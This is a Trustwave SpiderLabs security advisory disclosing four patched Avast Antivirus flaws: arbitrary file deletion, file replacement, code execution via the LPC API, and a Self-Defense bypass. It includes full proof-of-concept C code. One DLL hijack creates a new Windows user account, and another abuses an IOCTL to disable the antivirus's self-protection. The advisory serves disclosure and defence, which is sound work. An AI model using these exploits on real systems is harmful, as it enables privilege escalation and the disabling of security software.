Trustwave SpiderLabs Security Advisory TWSL2017-009: Multiple Vulnerabilities in Avast Antivirus Published: 05/02/2017 Version: 1.1 Vendor: Avast (avast.com) Product: Avast Antivirus Version affected: Prior to Avast v17 Product description: Avast Antivirus is a popular AV software. Windows version comes with many components to help defend user computer from various threats. Finding 1: Arbitrary file deletion via LPC API CVE: CVE-2017-8307 Credit: Martin Rakhmanov of Trustwave Using LPC interface API exposed by the AvastSVC.exe Windows service it is possible to delete arbitrary file. This vulnerability is exploitable by any unprivileged user when Avast Self-Defense is disabled. It is also exploitable when Avast Self-Defense is enabled by using previously reported Self-Defense Bypass. The vulnerability allows for Denial of Service attacks and hiding traces of possible attack. Finding 2: Arbitrary file replace via LPC API CVE: CVE-2017-8307 Credit: Martin Rakhmanov of Trustwave Using LPC interface API exposed by the AvastSVC.exe Windows service it is possible to replace arbitrary file. This vulnerability is exploitable by any unprivileged user when Avast Self-Defense is disabled. It is also exploitable when Avast Self-Defense is enabled by using previously reported Self-Defense Bypass. The vulnerability allows for arbitrary code execution attacks and hiding traces of possible attack. Finding 3: Arbitrary code execution via LPC API CVE: CVE-2017-8307 Credit: Martin Rakhmanov of Trustwave Using LPC interface API exposed by the AvastSVC.exe Windows service it is possible to launch predefined binaries, some of them can load untrusted libraries resulting in arbitrary code execution in some conditions. This vulnerability is exploitable by any unprivileged user when Avast Self-Defense is disabled. It is also exploitable when Avast Self-Defense is enabled by using previously reported Self-Defense Bypass. Steps to reproduce the problems - this demonstrates all three issues: 1. Compile the following code as x86 dynamic loading library: // cl /c /nologo evil.c // link /dll /nologo evil.obj #include __declspec(dllexport) int WinHttpOpenRequest() { return 0; } __declspec(dllexport) int WinHttpGetProxyForUrl() { return 0; } __declspec(dllexport) int WinHttpSendRequest() { return 0; } __declspec(dllexport) int WinHttpConnect() { return 0; } __declspec(dllexport) int WinHttpCloseHandle() { return 0; } __declspec(dllexport) int WinHttpReadData() { return 0; } __declspec(dllexport) int WinHttpCrackUrl() { return 0; } __declspec(dllexport) int WinHttpSetOption() { return 0; } __declspec(dllexport) int WinHttpAddRequestHeaders() { return 0; } __declspec(dllexport) int WinHttpWriteData() { return 0; } __declspec(dllexport) int WinHttpOpen() { return 0; } __declspec(dllexport) int WinHttpSetCredentials() { return 0; } __declspec(dllexport) int WinHttpQueryHeaders() { return 0; } __declspec(dllexport) int WinHttpReceiveResponse() { return 0; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: OutputDebugString(TEXT("About to add a user")); system("net user james /add"); break; } return TRUE; } Place it in any location accessible to regular user, for example, C:\TEMP\ 2. Compile the following code: // cl /nologo LPC_vulns.c #include #include typedef int(_cdecl *pARDF)(wchar_t *); typedef int(_cdecl *pARMF)(wchar_t *, wchar_t *, int); typedef int(_cdecl *pARCB)(wchar_t *); typedef int(_cdecl *pARRSC)(int, wchar_t *, wchar_t *); int main(int argc, char * argv[]) { int result; HMODULE hLib = LoadLibrary("AavmRpch.dll"); if (hLib == NULL) { printf("Cannot load library.\n"); return 1; } pARCB pAavmRpcCreateBinding = (pARCB)GetProcAddress(hLib, "AavmRpcCreateBinding"); if (pAavmRpcCreateBinding == NULL) { printf("Cannot find function.\n"); return 1; } pAavmRpcCreateBinding(L"localhost"); pARDF pAavmRpcDeleteFile = (pARDF)GetProcAddress(hLib, "AavmRpcDeleteFile"); if (pAavmRpcDeleteFile == NULL) { printf("Cannot find function AavmRpcDeleteFile.\n"); return 1; } pARMF pAavmRpcMoveFileEx = (pARMF)GetProcAddress(hLib, "AavmRpcMoveFileEx"); if (pAavmRpcMoveFileEx == NULL) { printf("Cannot find function AavmRpcMoveFileEx.\n"); return 1; } printf("About to call DeleteFile.\n"); result = pAavmRpcDeleteFile(L"C:\\Windows\\system32\\test.txt"); printf("DeleteFile result: %d\n", result); printf("About to call MoveFile.\n"); result = pAavmRpcMoveFileEx(L"C:\\TEMP\\evil.dll", L"C:\\Program Files\\AVAST Software\\Avast\\WINHTTP.dll", 1); printf("MoveFile result: %d\n", result); pARRSC pAavmRpcRunSystemComponent = (pARRSC)GetProcAddress(hLib, "AavmRpcRunSystemComponent"); if (pAavmRpcRunSystemComponent == NULL) { printf("Cannot find function AavmRpcRunSystemComponent.\n"); return 1; } printf("About to launch process AvastEmUpdate.exe.\n"); result = pAavmRpcRunSystemComponent(2, NULL, NULL); printf("AavmRpcRunSystemComponent result: %d\n", result); return 0; } Adjust C:\\Windows\\system32\\test.txt to point to some file that will be deleted. 3. Copy AavmRpch.dll from Avast distribution near the LPC_vulns.exe compiled in previous step. 4. As unprivileged user launch the LPC_vulns.exe. Observe that there is a new user created on the system. Finding 4: Self-Defense mechanism bypass CVE: CVE-2017-8308 Credit: Martin Rakhmanov of Trustwave Using library injection together with Avast internal IOCTL it is possible to mark arbitrary process as Trusted in terms of Avast AV. This means any unprivileged user (and thus malware/virus) can completely bypass the Self-Defense feature of the product opening a door to subsequent attack to many of its components. Steps to reproduce this problem: 1. Compile the following code as x86 dynamic loading library: // Self-Defense bypass // For Avast AV 12.3.3154.23 // // Compile for x86 with: // cl /c /nologo ssleay32.c // link /dll /nologo ssleay32.obj #include #include #include #define DEVICE_NAME TEXT("\\\\.\\aswSP_Open") typedef void(__cdecl *pARDSD)(int); typedef void(__cdecl *pARCB)(wchar_t *); typedef BOOL(WINAPI *PGMI)(HANDLE, HMODULE, LPMODULEINFO, DWORD); typedef DWORD(__cdecl *PST)(DWORD, DWORD); void MakeProcessTrusted(DWORD PID) { OutputDebugString(TEXT("Inside MakeProcessTrusted")); DWORD OutBuffer = 7; DWORD BytesReturned = 0; DWORD KK = 0; HANDLE hDevice; HMODULE hModule; HMODULE hPSAPI; PGMI pGetModuleInformation; unsigned char InBuffer[25]; MODULEINFO mi; memset(InBuffer, 0, sizeof(InBuffer)); hModule = GetModuleHandle(NULL); if (hModule == NULL) { OutputDebugString(TEXT("hModule IS NULL, terminating.")); return; } hPSAPI = LoadLibrary(TEXT("psapi.dll")); pGetModuleInformation = (PGMI)GetProcAddress(hPSAPI, "GetModuleInformation"); if (!pGetModuleInformation) { OutputDebugString(TEXT("Cannot get GetModuleInformation location.")); return; } pGetModuleInformation(GetCurrentProcess(), hModule, &mi, sizeof(mi)); KK = (DWORD)mi.EntryPoint; KK = KK - 0x78F60; // any function that sets first arg ptr to 1. InBuffer[0] = 0x6D; InBuffer[1] = 0x74; InBuffer[2] = 0x70; InBuffer[3] = 0x73; memcpy(&InBuffer[4], &PID, 4); InBuffer[8] = 0x04; memcpy(&InBuffer[9], &KK, 4); // Initial NormalRoutine memcpy(&InBuffer[17], &KK, 4); hDevice = CreateFile(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { OutputDebugString(TEXT("Failed to open the device.")); return; } if (!DeviceIoControl(hDevice, 0xB2D60198, &InBuffer, sizeof(InBuffer), &OutBuffer, sizeof(OutBuffer), &BytesReturned, 0)) { OutputDebugString(TEXT("DeviceIoControl failed.")); } CloseHandle(hDevice); } int GetProcessTrustLevel(DWORD PID) { DWORD BytesReturned; DWORD OutBuffer; HANDLE hDevice; hDevice = CreateFile(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { OutputDebugString(TEXT("Failed to open device.")); return 0; } OutBuffer = 0; if (!DeviceIoControl(hDevice, 0xB2D600CC, &PID, sizeof(PID), &OutBuffer, sizeof(OutBuffer), &BytesReturned, 0)) { OutputDebugString(TEXT("DeviceIoControl failed!")); } CloseHandle(hDevice); if (BytesReturned != 4) { return 0; } return OutBuffer; } void DisableSelfDefenceViaLPC() { HMODULE hLib = LoadLibrary("AavmRpch.dll"); if (hLib != NULL) { OutputDebugString("Library loaded.\n"); } pARDSD pAavmRpcDisableSelfDefense = (pARDSD)GetProcAddress(hLib, "AavmRpcDisableSelfDefense"); if (pAavmRpcDisableSelfDefense != NULL) { OutputDebugString("AavmRpcDisableSelfDefense address found.\n"); } pARCB pAavmRpcCreateBinding = (pARCB)GetProcAddress(hLib, "AavmRpcCreateBinding"); if (pAavmRpcCreateBinding != NULL) { OutputDebugString("AavmRpcCreateBinding address found.\n"); } pAavmRpcCreateBinding(L"localhost"); pAavmRpcDisableSelfDefense(0); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DWORD PID = GetCurrentProcessId(); int result; result = GetProcessTrustLevel(PID); if (result) { OutputDebugString(TEXT("Process is trusted.")); } else { OutputDebugString(TEXT("Process is not trusted.")); } MakeProcessTrusted(PID); result = GetProcessTrustLevel(PID); if (result) { OutputDebugString(TEXT("Process is now trusted.")); } else { OutputDebugString(TEXT("Process still is not trusted.")); } DisableSelfDefenceViaLPC(); ExitProcess(0); break; } return TRUE; } 2. As unprivileged user, create some directory and copy all *.dll files along with avastui.exe file from Avast setup location to the newly created directory. Then replace the ssleay32.dll with the one produced before. 3. Again, as unprivileged user launch the avastui.exe from the directory created at previous step. In a tool like DebugView observe messages about Trust change. Also notice the Self-Defense disable pop-up which is not accessible via LPC to un trusted apps. Remediation Steps: Fixes for this issue were released in Avast v17. Please note that Trustwave SpiderLabs have not verified this fix. Revision History: 11/29/2016 - Vulnerability disclosed to vendor 02/07/2017 - Patch released by vendor 03/31/2017 - Advisory version 1.0 published 05/02/2017 - Advisory version 1.1 published About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.